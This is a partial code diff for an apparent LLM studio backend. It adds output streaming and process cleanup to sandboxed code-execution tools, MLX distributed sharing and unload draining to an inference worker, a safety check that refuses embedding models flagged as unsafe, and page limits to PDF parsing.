+    except (OSError, ValueError):
+        return True
+    return rp != root and not rp.startswith(root + os.sep)
+
+
+def _missing_path_hint(output: str, workdir: str | None = None) -> str:
+    """Model-visible healing when an execution fails on an absolute path missing
+    in the sandbox (a code-interpreter habit path, or one invented from the CWD).
+    Detected on the full pre-truncation output; the hint echoes the failing path
+    so the model retries with the right relative name."""
+    error_lines = _missing_error_lines(output)
+    if not error_lines:
+        return ""
+    abs_path = _extract_missing_abs_path(output)
+    # A convention prefix is an out-of-sandbox signal only when the exact failing
+    # path could not be isolated; scoped to the failing-path error line(s) so a
+    # prefix mentioned elsewhere doesn't trigger a misleading hint.
+    convention = any(prefix in line for line in error_lines for prefix in _MISSING_PATH_PREFIXES)
+    if abs_path is not None:
+        # Judge the isolated path against the real workdir even when it matches a
+        # convention prefix, so a genuine miss inside a project rooted under such
+        # a prefix (e.g. /workspace/proj) is not steered out of its subdirectory.
+        if not _is_outside_workdir(abs_path, workdir):
+            return ""
+    elif not convention:
+        # Nothing marks this as an out-of-sandbox miss; stay silent.
+        return ""
+    if abs_path:
+        example = f"'{os.path.basename(abs_path)}', not '{abs_path}'"
+    else:
+        example = "'output.html', not '/mnt/data/output.html'"
+    return (
+        "\nHint: that absolute path does not exist in this sandbox. The current "
+        "working directory is writable and persists for this conversation; retry "
+        f"with a relative path (for example {example})."
+    )
+
+
+def _drain_process_output(
+    proc,
+    timeout,
+    output_callback,
+    cancel_event = None,
+    *,
+    pgid = None,
+) -> tuple[str, bool]:
+    """``proc.communicate(timeout=...)`` equivalent that also streams each
+    stdout line to ``output_callback`` as it is produced.
+
+    Returns ``(output, timed_out)``. The joined output is identical to what
+    ``communicate`` would return: the same TextIOWrapper decodes the stream,
+    so encoding, error replacement, and newline translation all match. On
+    timeout the process tree is killed (mirroring the non-streaming path).
+    With ``timeout=None`` the drain waits for EOF like ``communicate`` would,
+    stopping early only when ``cancel_event`` is set.
+    """
+    chunks: list[str] = []
+
+    # Captured before waiting so a stdout-holding grandchild can still be killed
+    # after the leader is reaped (getpgid then fails). Callers pass it in from
+    # right after Popen; fall back to capturing here for direct callers.
+    if pgid is None:
+        pgid = _capture_process_group(proc)
+
+    def _reader() -> None:
+        try:
+            for line in iter(proc.stdout.readline, ""):
+                chunks.append(line)
+                if output_callback is not None:
+                    try:
+                        output_callback(line)
+                    except Exception:  # noqa: BLE001 - observer must never kill the tool
+                        logger.debug("tool output_callback raised", exc_info = True)
+        except (ValueError, OSError):
+            pass  # pipe closed during kill
+
+    reader = threading.Thread(target = _reader, daemon = True)
+    reader.start()
+    started_at = time.monotonic()
+    timed_out = False
+    try:
+        proc.wait(timeout = timeout)
+    except subprocess.TimeoutExpired:
+        timed_out = True
+        _kill_process_tree(proc)
+        # Also kill the pre-captured group in case the leader was reaped in the
+        # window before _kill_process_tree sampled its pgid, reaping a
+        # stdout-holding grandchild (matches the non-streaming timeout path).
+        _killpg_captured(pgid)
+        try:
+            proc.wait(timeout = 5)
+        except subprocess.TimeoutExpired:
+            pass
+    # A grandchild that inherited stdout can hold the pipe open past the main
+    # process's exit.
+    if not timed_out:
+        if timeout is not None:
+            # Wait out the remaining budget like communicate() would, polling
+            # cancel_event in slices (the cancel watcher is gone once the leader
+            # exits) so a chatty grandchild doesn't keep draining after a Stop.
+            # The normal path still reaches EOF on its own with the same bytes.
+            deadline = started_at + timeout
+            while reader.is_alive():
+                remaining = deadline - time.monotonic()
+                if remaining <= 0:
+                    timed_out = True
+                    _killpg_captured(pgid)
+                    break
+                if cancel_event is not None and cancel_event.is_set():
+                    _killpg_captured(pgid)
+                    break
+                reader.join(timeout = min(0.5, remaining))
+        else:
+            # Unlimited timeout: drain until the pipe closes (like
+            # communicate(timeout=None)), stopping early only on cancellation.
+            while reader.is_alive():
+                if cancel_event is not None and cancel_event.is_set():
+                    _killpg_captured(pgid)
+                    break
+                reader.join(timeout = 0.5)
+    reader.join(timeout = 5)
+    return "".join(chunks), timed_out
+
+
 def _python_exec(
     code: str,
     cancel_event = None,
     timeout: int = _EXEC_TIMEOUT,
     session_id: str | None = None,
     disable_sandbox: bool = False,
+    output_callback = None,
 ) -> str:
     """Execute Python code in a subprocess sandbox.
 
     disable_sandbox (Bypass Permissions): skip the safety analysis and rlimit
     pre-exec, and use the host env minus secrets.
+    output_callback: optional callable(str) streamed each stdout line as it is
+    produced; the returned result is unchanged.
     """
     if not code or not code.strip():
         return "No code provided."
@@ -2676,23 +5733,32 @@ def _python_exec(
         else:
             popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
 
-        proc = subprocess.Popen([sys.executable, tmp_path], **popen_kwargs)
+        # -u forces unbuffered child stdout so a bare print() streams live
+        # instead of sitting in the pipe's block buffer until exit. Applied
+        # unconditionally to stay byte-identical with and without streaming;
+        # unlike PYTHONUNBUFFERED=1 it never pollutes the child's os.environ.
+        proc = subprocess.Popen([sys.executable, "-u", tmp_path], **popen_kwargs)
+
+        # Capture the group before any watcher can reap the leader (see
+        # _capture_process_group); None on Windows.
+        pgid = _capture_process_group(proc)
 
-        # Spawn cancel watcher if we have a cancel event
         if cancel_event is not None:
             watcher = threading.Thread(
-                target = _cancel_watcher, args = (proc, cancel_event), daemon = True
+                target = _cancel_watcher,
+                args = (proc, cancel_event, 0.2, pgid),
+                daemon = True,
             )
             watcher.start()
 
-        try:
-            output, _ = proc.communicate(timeout = timeout)
-        except subprocess.TimeoutExpired:
-            _kill_process_tree(proc)
-            try:
-                proc.communicate(timeout = 5)
-            except subprocess.TimeoutExpired:
-                pass
+        # Always drain via _drain_process_output (output_callback may be None):
+        # it kills the captured group on cancellation, reaping a grandchild that
+        # outlived the leader, and returns bytes identical to communicate() so
+        # the streaming vs non-streaming result stays byte-identical.
+        output, timed_out = _drain_process_output(
+            proc, timeout, output_callback, cancel_event, pgid = pgid
+        )
+        if timed_out:
             return _truncate(f"Execution timed out after {timeout} seconds.")
 
         if cancel_event is not None and cancel_event.is_set():
@@ -2701,7 +5767,13 @@ def _python_exec(
         result = output or ""
         if proc.returncode != 0:
             result = f"Exit code {proc.returncode}:\n{result}"
+        # Detect the missing-path pattern on the full output (truncation could
+        # hide the trailing traceback); append the hint after truncation. External
+        # paths are judged against the real workdir (project sessions live outside
+        # the default sandbox root).
+        hint = _missing_path_hint(result, workdir)
         result = _truncate(result) if result.strip() else "(no output)"
+        result += hint
 
         # Detect new/overwritten images and append sentinel for the frontend
         if session_id and os.path.isdir(workdir):
@@ -2740,11 +5812,14 @@ def _bash_exec(
     timeout: int = _EXEC_TIMEOUT,
     session_id: str | None = None,
     disable_sandbox: bool = False,
+    output_callback = None,
 ) -> str:
     """Execute a bash command in a subprocess sandbox.
 
     disable_sandbox (Bypass Permissions): skip the command blocklist and rlimit
     pre-exec, and use the host env minus secrets.
+    output_callback: optional callable(str) streamed each stdout line as it is
+    produced; the returned result is unchanged.
     """
     if not command or not command.strip():
         return "No command provided."
@@ -2769,6 +5844,11 @@ def _bash_exec(
             stdout = subprocess.PIPE,
             stderr = subprocess.STDOUT,
             text = True,
+            # Match _python_exec: decode utf-8 with "replace" so invalid output
+            # bytes never raise UnicodeDecodeError (which the streaming reader
+            # thread would swallow), keeping both paths byte-identical.
+            encoding = "utf-8",
+            errors = "replace",
             cwd = workdir,
             env = safe_env,
         )
@@ -2779,20 +5859,25 @@ def _bash_exec(
 
         proc = subprocess.Popen(_get_shell_cmd(command), **popen_kwargs)
 
+        # Capture the group before any watcher can poll/reap the leader (see
+        # _python_exec); None on Windows.
+        pgid = _capture_process_group(proc)
+
         if cancel_event is not None:
             watcher = threading.Thread(
-                target = _cancel_watcher, args = (proc, cancel_event), daemon = True
+                target = _cancel_watcher,
+                args = (proc, cancel_event, 0.2, pgid),
+                daemon = True,
             )
             watcher.start()
 
-        try:
-            output, _ = proc.communicate(timeout = timeout)
-        except subprocess.TimeoutExpired:
-            _kill_process_tree(proc)
-            try:
-                proc.communicate(timeout = 5)
-            except subprocess.TimeoutExpired:
-                pass
+        # Always drain via _drain_process_output (see _python_exec): kills the
+        # captured group on cancellation and returns bytes identical to
+        # communicate(), keeping streaming vs non-streaming byte-identical.
+        output, timed_out = _drain_process_output(
+            proc, timeout, output_callback, cancel_event, pgid = pgid
+        )
+        if timed_out:
             return _truncate(f"Execution timed out after {timeout} seconds.")
 
         if cancel_event is not None and cancel_event.is_set():
@@ -2801,7 +5886,10 @@ def _bash_exec(
         result = output or ""
         if proc.returncode != 0:
             result = f"Exit code {proc.returncode}:\n{result}"
-        return _truncate(result) if result.strip() else "(no output)"
+        # Same missing-path healing as _python_exec.
+        hint = _missing_path_hint(result, workdir)
+        result = _truncate(result) if result.strip() else "(no output)"
+        return result + hint
 
     except Exception as e:
         return f"Execution error: {e}"
diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py
index 4e27183d88..e4628dcea8 100644
--- a/studio/backend/core/inference/worker.py
+++ b/studio/backend/core/inference/worker.py
@@ -13,6 +13,7 @@ mp.Queue, and exits on shutdown or unload. Pattern follows core/training/worker.
 from __future__ import annotations
 
 import base64
+import json
 from loggers import get_logger
 import os
 import queue as _queue
@@ -26,6 +27,9 @@ from typing import Any
 logger = get_logger(__name__)
 from utils.hardware import apply_gpu_ids
 
+_SHARE_OBJECT_MAX_BYTES = 1 << 20
+_SHARE_OBJECT_ERROR_SIZE = -1
+
 # studio/backend root, prepended to sys.path so the spawned subprocess can
 # import the utils/core packages.
 _BACKEND_PATH = str(Path(__file__).resolve().parent.parent.parent)
@@ -75,6 +79,17 @@ def _send_response(resp_queue: Any, response: dict) -> None:
         logger.error("Failed to send response: %s", exc)
 
 
+def _encode_share_object(obj: Any) -> bytes:
+    data = json.dumps(obj, separators = (",", ":"), ensure_ascii = False).encode("utf-8")
+    if len(data) > _SHARE_OBJECT_MAX_BYTES:
+        raise ValueError("Distributed object share payload is too large")
+    return data
+
+
+def _decode_share_object(data: Any) -> Any:
+    return json.loads(bytes(data.tolist()).decode("utf-8"))
+
+
 def _clean_token(value: str | None) -> str | None:
     """Normalize an HF token: blank or whitespace-only becomes None."""
     return value if value and value.strip() else None
@@ -276,6 +291,18 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
         hf_token = _clean_token(config.get("hf_token"))
         load_in_4bit = _resolve_lora_4bit(mc, config.get("load_in_4bit", True))
 
+        # Latest-transformers sidecar models load 16-bit: bnb 4-bit feeds quantized
+        # expert weights into unvalidated paths (e.g. grouped-MoE torch._grouped_mm).
+        if load_in_4bit:
+            from utils.transformers_version import latest_tier_active_for
+            if latest_tier_active_for(config["model_name"], hf_token):
+                load_in_4bit = False
+                logger.info(
+                    "Latest-transformers sidecar active for %s - forcing a 16-bit "
+                    "load (4-bit is disabled for brand-new architectures)",
+                    config["model_name"],
+                )
+
         trust_remote_code = config.get("trust_remote_code", False)
         if not trust_remote_code and _needs_nemotron_trust(config["model_name"], hf_token = hf_token):
             trust_remote_code = True
@@ -329,14 +356,18 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
             xet_disabled = os.environ.get("HF_HUB_DISABLE_XET") == "1",
         )
         try:
-            success = backend.load_model(
-                config = mc,
-                max_seq_length = config.get("max_seq_length", 2048),
-                load_in_4bit = load_in_4bit,
-                hf_token = hf_token,
-                trust_remote_code = trust_remote_code,
-                gpu_ids = config.get("resolved_gpu_ids"),
-            )
+            load_kwargs = {
+                "config": mc,
+                "max_seq_length": config.get("max_seq_length", 2048),
+                "load_in_4bit": load_in_4bit,
+                "hf_token": hf_token,
+                "trust_remote_code": trust_remote_code,
+                "gpu_ids": config.get("resolved_gpu_ids"),
+            }
+            if getattr(backend, "device", None) == "mlx":
+                load_kwargs["parallel_mode"] = config.get("mlx_parallel_mode")
+                load_kwargs["distributed_group"] = config.get("_mlx_distributed_group")
+            success = backend.load_model(**load_kwargs)
         finally:
             heartbeat_stop.set()
 
@@ -406,6 +437,32 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
         )
 
 
+def _drain_skip_generate(cmd: dict, resp_queue: Any, drain_event) -> bool:
+    """Skip a generate queued behind a cancelled one during an unload.
+
+    The parent sets ``drain_event`` for the whole unload. Because the parent's
+    per-token ``cancel_event`` is cleared at the start of every generate, a cancel
+    set while this generate was still queued would otherwise be lost when it is
+    dequeued. If the drain is in effect, emit an immediate (empty) ``gen_done`` so
+    the parent's stream/mailbox drains fast and the switch stays fast, and report
+    the generate was skipped so the caller does not clear the cancel or run it.
+    """
+    if drain_event is None or not drain_event.is_set():
+        return False
+    request_id = cmd.get("request_id", "")
+    logger.info("Skipping generate for request %s: unload draining", request_id)
+    _send_response(
+        resp_queue,
+        {
+            "type": "gen_done",
+            "request_id": request_id,
+            "cancelled": True,
+            "stats": None,
+        },
+    )
+    return True
+
+
 def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
     """Handle a generate command: stream tokens back via resp_queue.
 
@@ -431,6 +488,7 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
             "min_p": cmd.get("min_p", 0.0),
             "max_new_tokens": cmd.get("max_new_tokens", 256),
             "repetition_penalty": cmd.get("repetition_penalty", 1.0),
+            "presence_penalty": cmd.get("presence_penalty", 0.0),
             "cancel_event": cancel_event,
         }
 
@@ -494,6 +552,67 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
         )
 
 
+def _handle_share_object(backend, cmd: dict, resp_queue: Any) -> None:
+    """Share a small Python object across MLX distributed ranks."""
+    request_id = cmd.get("request_id", "")
+    group = getattr(backend, "_distributed_group", None)
+    rank = int(getattr(backend, "_distributed_rank", 0) or 0)
+    world_size = int(getattr(backend, "_distributed_world_size", 1) or 1)
+    obj = cmd.get("object")
+
+    try:
+        if group is None or world_size <= 1:
+            shared = obj
+        else:
+            import mlx.core as mx
+            if rank == 0:
+                if obj is None:
+                    mx.eval(mx.distributed.all_sum(mx.array(0), group = group))
+                    shared = None
+                else:
+                    try:
+                        data = mx.array(_encode_share_object(obj), dtype = mx.uint8)
+                    except Exception:
+                        mx.eval(
+                            mx.distributed.all_sum(
+                                mx.array(_SHARE_OBJECT_ERROR_SIZE),
+                                group = group,
+                            )
+                        )
+                        raise
+                    mx.eval(mx.distributed.all_sum(mx.array(data.size), group = group))
+                    mx.eval(mx.distributed.all_sum(data, group = group))
+                    shared = obj
+            else:
+                size = int(mx.distributed.all_sum(mx.array(0), group = group).item())
+                if size == _SHARE_OBJECT_ERROR_SIZE:
+                    raise RuntimeError("Failed to share distributed object")
+                if size == 0:
+                    shared = None
+                else:
+                    data = mx.zeros(size, dtype = mx.uint8)
+                    data = mx.distributed.all_sum(data, group = group)
+                    shared = _decode_share_object(data)
+        _send_response(
+            resp_queue,
+            {
+                "type": "shared",
+                "request_id": request_id,
+                "object": shared,
+            },
+        )
+    except Exception as exc:
+        _send_response(
+            resp_queue,
+            {
+                "type": "share_error",
+                "request_id": request_id,
+                "error": str(exc),
+                "stack": traceback.format_exc(limit = 20),
+            },
+        )
+
+
 def _handle_generate_audio(backend, cmd: dict, resp_queue: Any) -> None:
     """Handle TTS audio generation — returns WAV bytes + sample_rate."""
     request_id = cmd.get("request_id", "")
@@ -632,7 +751,14 @@ def _handle_unload(backend, cmd: dict, resp_queue: Any) -> None:
         )
 
 
-def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, config: dict) -> None:
+def run_inference_process(
+    *,
+    cmd_queue: Any,
+    resp_queue: Any,
+    cancel_event,
+    config: dict,
+    drain_event = None,
+) -> None:
     """Subprocess entrypoint. Persistent — runs the command loop until shutdown.
 
     Args:
@@ -640,6 +766,10 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
         resp_queue: mp.Queue for sending responses to parent.
         cancel_event: mp.Event the parent sets to cancel generation.
         config: Initial configuration dict with model info.
+        drain_event: mp.Event the parent sets for the duration of an unload. Unlike
+            cancel_event (cleared at the start of every generate), it is never cleared
+            here, so a generate still queued behind a cancelled one is skipped rather
+            than run — the cancel survives the queue handoff.
     """
     os.environ["TOKENIZERS_PARALLELISM"] = "false"
     os.environ["PYTHONWARNINGS"] = "ignore"  # Suppress warnings at C-level before imports
@@ -682,9 +812,29 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                 exc,
             )
         try:
-            from core.inference.mlx_inference import MLXInferenceBackend
+            from core.inference.mlx_inference import MLXInferenceBackend, _init_mlx_distributed
 
             backend = MLXInferenceBackend()
+            if config.get("mlx_distributed"):
+                group, rank, size = _init_mlx_distributed()
+                config["_mlx_distributed_group"] = group
+                if size <= 1:
+                    # A singleton group (MLX built without distributed support,
+                    # or an invalid launch env/hostfile) would leave nonzero ranks
+                    # looping forever on share_distributed_object. Fail the load
+                    # instead of silently continuing without sharding.
+                    raise RuntimeError(
+                        "MLX distributed launch requested but initialized a singleton "
+                        "group (size 1). Ensure the installed MLX has distributed "
+                        "support and the launch environment/hostfile is valid, or run "
+                        "without distributed."
+                    )
+                logger.info(
+                    "MLX distributed initialized in worker: rank=%s size=%s mode=%s",
+                    rank,
+                    size,
+                    config.get("mlx_parallel_mode"),
+                )
             _send_response(
                 resp_queue,
                 {"type": "status", "message": "Loading model..."},
@@ -715,8 +865,19 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
             cmd_type = cmd.get("type", "")
             try:
                 if cmd_type == "generate":
+                    if _drain_skip_generate(cmd, resp_queue, drain_event):
+                        continue
                     cancel_event.clear()
+                    # Re-check the drain after clearing: the parent sets drain_event
+                    # then cancel_event for an unload, so if that pair landed between
+                    # the check above and this clear, the clear just erased the unload's
+                    # cancel. Skip here so the outgoing model is not run to completion,
+                    # which would stall the switch until the dispatcher idle-timeout.
+                    if _drain_skip_generate(cmd, resp_queue, drain_event):
+                        continue
                     _handle_generate(backend, cmd, resp_queue, cancel_event)
+                elif cmd_type == "share_object":
+                    _handle_share_object(backend, cmd, resp_queue)
                 elif cmd_type == "load":
                     if backend.active_model_name:
                         backend.unload_model(backend.active_model_name)
@@ -757,7 +918,31 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                 )
         return
 
-    # ── Resolve the effective base once, before activation/gates/install (no ML import) ──
+    # ── Windows: check Triton availability ──
+    # Placed ahead of the torchao stub below (which imports torch on win32 to detect ROCm),
+    # matching the training and export workers' gate-then-stub ordering.
+    if sys.platform == "win32":
+        try:
+            import triton  # noqa: F401
+            logger.info("Triton available — torch.compile enabled")
+        except ImportError:
+            os.environ["TORCHDYNAMO_DISABLE"] = "1"
+            logger.warning(
+                "Triton not found on Windows — torch.compile disabled. "
+                'Install for better performance: pip install "triton-windows<3.7"'
+            )
+
+    # ── Stub torchao on Windows ROCm before ANY transformers import ──
+    # Must precede every path that pulls transformers, not just the ML imports in section 2:
+    # a local LoRA adapter with no recorded base reaches transformers here via
+    # _resolve_base_model -> utils.models. See core/_torchao_stub.py; no-op off Windows ROCm.
+    from core._torchao_stub import install_torchao_windows_rocm_stub
+
+    install_torchao_windows_rocm_stub()
+
+    # ── Resolve the effective base once, before activation/gates/install ──
+    # No ML import on the common path; a local adapter with no recorded base pulls
+    # transformers via utils.models, which is why the stub above precedes this.
     # A remote LoRA's base is in its Hub adapter_config.json (else surfaced only by ModelConfig
     # after import). _lora_base is set only for a genuine adapter, never a full fine-tune's base.
     import json as _json
@@ -795,19 +980,7 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
         )
         return
 
-    # ── 1b. Windows: check Triton availability (must precede import torch) ──
-    if sys.platform == "win32":
-        try:
-            import triton  # noqa: F401
-            logger.info("Triton available — torch.compile enabled")
-        except ImportError:
-            os.environ["TORCHDYNAMO_DISABLE"] = "1"
-            logger.warning(
-                "Triton not found on Windows — torch.compile disabled. "
-                'Install for better performance: pip install "triton-windows<3.7"'
-            )
-
-    # ── 1c. Security gates, then SSM/Mamba kernels, BEFORE importing transformers ──
+    # ── 1b. Security gates, then SSM/Mamba kernels, BEFORE importing transformers ──
     # transformers snapshots its optional-backend gates at import, so a hybrid model's kernels
     # must be installed before the import below ("mamba-ssm is required" otherwise). The gates
     # are metadata-only, so run them first and refuse a blocked model before any native build.
@@ -918,9 +1091,21 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
 
         try:
             if cmd_type == "generate":
+                if _drain_skip_generate(cmd, resp_queue, drain_event):
+                    continue
                 cancel_event.clear()
+                # Re-check the drain after clearing: the parent sets drain_event then
+                # cancel_event for an unload, so if that pair landed between the check
+                # above and this clear, the clear just erased the unload's cancel. Skip
+                # here so the outgoing model is not run to completion, which would stall
+                # the switch until the dispatcher idle-timeout tears the subprocess down.
+                if _drain_skip_generate(cmd, resp_queue, drain_event):
+                    continue
                 _handle_generate(backend, cmd, resp_queue, cancel_event)
 
+            elif cmd_type == "share_object":
+                _handle_share_object(backend, cmd, resp_queue)
+
             elif cmd_type == "load":
                 if backend.active_model_name:
                     backend.unload_model(backend.active_model_name)
diff --git a/studio/backend/core/rag/embeddings.py b/studio/backend/core/rag/embeddings.py
index 345b4dd853..b0ecedd593 100644
--- a/studio/backend/core/rag/embeddings.py
+++ b/studio/backend/core/rag/embeddings.py
@@ -21,6 +21,7 @@ from functools import lru_cache
 from typing import Callable
 
 from utils.hardware.hardware import DeviceType, get_device
+from utils.transformers_dtype import dtype_kwargs
 
 from . import config
 
@@ -63,6 +64,87 @@ def _install_torchao_stub_once() -> None:
     install_torchao_windows_rocm_stub()
 
 
+class UnsafeEmbeddingModelError(RuntimeError):
+    """Raised when the embedding model repo is flagged unsafe. A distinct type so the
+    llama-server fallback paths re-raise it instead of masking a security block as a
+    routine ST failure."""
+
+
+def _ambient_hf_token() -> str | None:
+    """The HF token the loader itself would use (HF_TOKEN env or the cached login), so
+    the scan can reach a gated/private repo instead of failing open. None if unavailable."""
+    try:
+        from huggingface_hub import get_token
+        return get_token()
+    except Exception:
+        return None
+
+
+def _st_module_subdirs(name: str, token: str | None) -> tuple[str, ...]:
+    """The module directories a SentenceTransformer load reads weights from, taken from
+    the repo's ``modules.json`` (each module's non-empty ``path``, e.g. ``0_Transformer``).
+    ST deserializes ``pytorch_model.bin`` from these dirs, so they are load roots for the
+    security scan: a flagged pickle directly under one must block. Returns () on any
+    failure (no modules.json, offline, malformed) so the guard never bricks the embedder.
+    """
+    try:
+        import json
+
+        from utils.paths import is_local_path
+
+        if is_local_path(name):
+            from pathlib import Path
+            from utils.paths import normalize_path
+
+            path = Path(normalize_path(name)).expanduser() / "modules.json"
+            if not path.is_file():
+                return ()
+            data = json.loads(path.read_text())
+        else:
+            from huggingface_hub import hf_hub_download
+            from huggingface_hub.utils import EntryNotFoundError
+
+            try:
+                local = hf_hub_download(name, "modules.json", token = token or None)
+            except EntryNotFoundError:
+                return ()
+            data = json.loads(open(local).read())
+        subdirs = []
+        for module in data or ():
+            sub = str((module or {}).get("path", "")).strip().strip("/")
+            if sub:
+                subdirs.append(sub)
+        return tuple(dict.fromkeys(subdirs))
+    except Exception:
+        return ()
+
+
+def _guard_model_security(name: str) -> None:
+    """Refuse to load a repo HF flagged as unsafe: a poisoned pickle deserializes inside
+    SentenceTransformer regardless of trust_remote_code. Defense in depth behind the
+    /settings gate (a name can also arrive via env/default); local paths and unreachable
+    scans fail open inside evaluate_file_security. Never bricks the embedder on a gate error.
+    """
+    try:
+        from utils.security import evaluate_file_security, security_load_subdirs
+
+        token = _ambient_hf_token()
+        # Union the audio-model load roots with the ST module dirs so a flagged pickle
+        # directly under a Transformer module dir (0_Transformer/) blocks instead of
+        # passing as an unreferenced nested shard.
+        load_subdirs = tuple(
+            dict.fromkeys((*security_load_subdirs(name, token), *_st_module_subdirs(name, token)))
+        )
+        blocked = evaluate_file_security(name, hf_token = token, load_subdirs = load_subdirs).blocked
+    except Exception:
+        return
+    if blocked:
+        raise UnsafeEmbeddingModelError(
+            f"Embedding model {name!r} is flagged as unsafe by Hugging Face's security "
+            "scan; refusing to load. Set a different RAG embedding model."
+        )
+
+
 def _get(model_name: str | None = None):
     """Cached SentenceTransformer, (re)loading on a name change. Loaded in fp16
     for a ~1.5x speedup at negligible accuracy loss."""
@@ -75,9 +157,8 @@ def _get(model_name: str | None = None):
 
             device = _device()
             logger.info("loading embedding model %s on %s", name, device)
-            _model = SentenceTransformer(
-                name, device = device, model_kwargs = {"torch_dtype": "float16"}
-            )
+            _guard_model_security(name)
+            _model = SentenceTransformer(name, device = device, model_kwargs = dtype_kwargs("float16"))
             _name = name
         return _model
 
@@ -159,6 +240,8 @@ class _SentenceTransformersBackend:
     ):
         try:
             return _st_encode(texts, model_name = model_name, normalize = normalize)
+        except UnsafeEmbeddingModelError:
+            raise  # a security block must hard-fail, not fall back to llama-server
         except Exception as st_err:  # noqa: BLE001 - runtime ST/CUDA encode failure
             # ST loaded but this encode blew up; swap the process to the llama-server
             # embedder (so later encodes stay in one space) and retry.
@@ -222,6 +305,8 @@ def _build_st_backend_or_fallback():
     try:
         backend.warm(model_name = None)
         return backend
+    except UnsafeEmbeddingModelError:
+        raise  # a security block must hard-fail, not fall back to llama-server
     except Exception as st_err:  # noqa: BLE001 - any ST/torch import or load failure
         fallback = _try_make_llama_backend()
         if fallback is None:
@@ -290,6 +375,37 @@ def _reset_backend() -> None:
         _backend_key = None
 
 
+def active_backend_is_llama() -> bool:
+    """True when this process actually embeds via the llama-server (GGUF) backend.
+
+    Reflects the ACTUAL built backend once one exists: an ``auto`` install that
+    resolves to sentence-transformers but then falls back to llama-server at
+    runtime (``_build_st_backend_or_fallback`` on a torch/CUDA load failure, or
+    ``_switch_to_llama_fallback`` on an encode failure) loads only inert GGUF, so
+    callers gating on the ST pickle must see llama here. Before any backend is
+    built, defers to the resolver (``auto`` -> ``_resolve_auto()``, else the raw
+    key) exactly as a fresh process would. Never raises: a backend probe must not
+    block saving a model."""
+    try:
+        with _backend_lock:
+            backend = _backend
+        if backend is not None:
+            # A backend exists: report what it ACTUALLY is. A concrete
+            # sentence-transformers backend must return False even if the
+            # resolver would now pick llama, so its pickle stays gated. If the
+            # llama import fails we cannot be llama, so fall to the safe False.
+            try:
+                from .embed_llama_server import LlamaServerBackend
+            except Exception:  # noqa: BLE001 - llama plumbing import must never block
+                return False
+            return isinstance(backend, LlamaServerBackend)
+        raw = (config.EMBED_BACKEND or "auto").strip().lower()
+        key = _resolve_auto() if raw in _AUTO_ALIASES else raw
+        return key in _LLAMA_ALIASES
+    except Exception:  # noqa: BLE001 - a backend probe must never block saving
+        return False
+
+
 def warm(model_name: str | None = None) -> None:
     """Eagerly load the embedder so the first real request isn't slow."""
     _get_backend().warm(model_name = model_name)
diff --git a/studio/backend/core/rag/parsers.py b/studio/backend/core/rag/parsers.py
index 9afddf1d9e..0b42906b85 100644
--- a/studio/backend/core/rag/parsers.py
+++ b/studio/backend/core/rag/parsers.py
@@ -103,7 +103,7 @@ def _markdown_incomplete(markdown: str, plain: str) -> bool:
     return markdown_letters < _PDF_INCOMPLETE_RATIO * plain_letters
 
 
-def _pdf_markdown(doc) -> list[str] | None:
+def _pdf_markdown(doc, pages: range | None = None) -> list[str] | None:
     """Per-page layout-aware Markdown (tables, headings, lists) via pymupdf4llm; index
     i maps to page i+1. Returns None when the lib is missing, extraction fails, or the
     page count does not line up, so the caller falls back to plain PyMuPDF text."""
@@ -112,28 +112,44 @@ def _pdf_markdown(doc) -> list[str] | None:
     except Exception:
         return None
     try:
-        chunks = pymupdf4llm.to_markdown(
-            doc,
-            page_chunks = True,
-            show_progress = False,
-        )
+        kwargs = {"page_chunks": True, "show_progress": False}
+        if pages is not None:
+            kwargs["pages"] = list(pages)
+        chunks = pymupdf4llm.to_markdown(doc, **kwargs)
     except Exception:  # noqa: BLE001 - never let Markdown extraction break ingestion
         logger.warning("pymupdf4llm extraction failed; using plain text", exc_info = True)
         return None
-    if not isinstance(chunks, list) or len(chunks) != doc.page_count:
+    expected_pages = doc.page_count if pages is None else len(pages)
+    if not isinstance(chunks, list) or len(chunks) != expected_pages:
         return None
     return [str(c.get("text") or "") for c in chunks]
 
 
-def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
+def _pdf(
+    source: str | bytes,
+    want_images: bool,
+    max_pages: int | None = None,
+) -> tuple[list[Page], list[ParsedImage], int]:
     import fitz  # PyMuPDF
 
     pages: list[Page] = []
     images: list[ParsedImage] = []
-    doc = fitz.open(path)
+    doc = (
+        fitz.open(stream = source, filetype = "pdf") if isinstance(source, bytes) else fitz.open(source)
+    )
     try:
-        md = _pdf_markdown(doc) if config.PDF_MARKDOWN else None
-        for i, page in enumerate(doc):
+        if doc.needs_pass:
+            raise ValueError("encrypted PDF requires a password")
+        total_pages = doc.page_count
+        page_numbers = range(total_pages if max_pages is None else min(total_pages, max_pages))
+        if not config.PDF_MARKDOWN:
+            md = None
+        elif max_pages is None:
+            md = _pdf_markdown(doc)
+        else:
+            md = _pdf_markdown(doc, page_numbers)
+        for i, page_number in enumerate(page_numbers):
+            page = doc[page_number]
             plain = page.get_text("text") or ""
             candidate = md[i] if md else ""
             # Prefer layout-aware Markdown (keeps tables/headings legible for retrieval),
@@ -147,7 +163,7 @@ def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
                 text = candidate
             else:
                 text = plain
-            pages.append(_page(text, i + 1))
+            pages.append(_page(text, page_number + 1))
             if want_images:
                 for img in page.get_images(full = True):
                     xref = img[0]
@@ -161,13 +177,22 @@ def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
                         images.append(
                             ParsedImage(
                                 image_bytes = image_bytes,
-                                page_number = i + 1,
+                                page_number = page_number + 1,
                                 xref = xref,
